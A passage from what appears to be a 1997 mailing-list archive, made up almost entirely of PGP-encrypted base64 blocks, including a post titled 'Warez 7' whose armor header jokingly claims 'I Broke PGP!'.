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
cB91sDHPI+d8FYVU9UeBplZPn6EnxU1dnA==
=p+Dh
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:22:03 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:22:03 +0800
Subject: Warez 7
Message-ID: <199712180812.AAA15905@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
